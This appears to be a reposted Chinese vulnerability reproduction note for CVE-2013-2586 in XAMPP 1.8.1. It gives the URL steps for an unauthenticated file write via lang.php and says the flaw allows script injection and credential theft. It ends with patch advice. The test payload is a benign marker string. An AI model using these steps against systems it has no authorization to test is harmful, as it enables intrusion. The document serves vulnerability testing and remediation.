xampp-文件写入(CVE-2013-2586)

2023-12-29 01:00:02
开发
37

漏洞描述：

XAMPP 1.8.1的"/xampp/lang.php"页面存在注入漏洞，未授权用户可在本地磁盘内写入，本地文件 "lang.tmp"可以从远程机器上进行修改，可在目标用户浏览器中执行任意HTML或脚本代码，窃取用户凭证之类的敏感信息

复现过程：

访问ip：port

2.访问http://ip:port/xampp/lang.php?WriteIntoLocalDisk

3.访问http://ip:port/xampp/lang.tmp

回显WriteIntoLocalDisk

说明写入成功

4. 回到http://ip:port/xampp/splash.php

点击中文进入

5. 点击phpinfo()

修复建议：

厂商补丁：

xampp
-----
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.apachefriends.org/zh_cn/xampp.html

原文地址:https://blog.csdn.net/m0_65150886/article/details/135249137 本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：https://www.suanlizi.com/kf/1740417333643579392.html 如若内容造成侵权/违法违规/事实不符，请联系《酸梨子》网邮箱：1419361763@qq.com进行投诉反馈，一经查实，立即删除！

阅读全部